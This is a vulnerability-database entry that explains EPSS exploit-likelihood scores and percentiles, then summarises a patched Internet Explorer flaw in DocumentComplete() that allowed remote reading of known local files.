EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

The DocumentComplete() function in IE does not properly validate origin domains.
Therefore it is possible for a remote webserver to gain read access to local files on the machine of any website visitor or email recipient by accessing the browser object of a frame containing local content. Only files that can be opened by a browser window (eg. *.htm, *.js, *.txt etc) are viewable, and the path and name of the file must be known by the attacker.
Update (May 16, 2001): A new variant of this vulnerability has been discovered. Microsoft has released a new patch to address all known variants of this vulnerability.
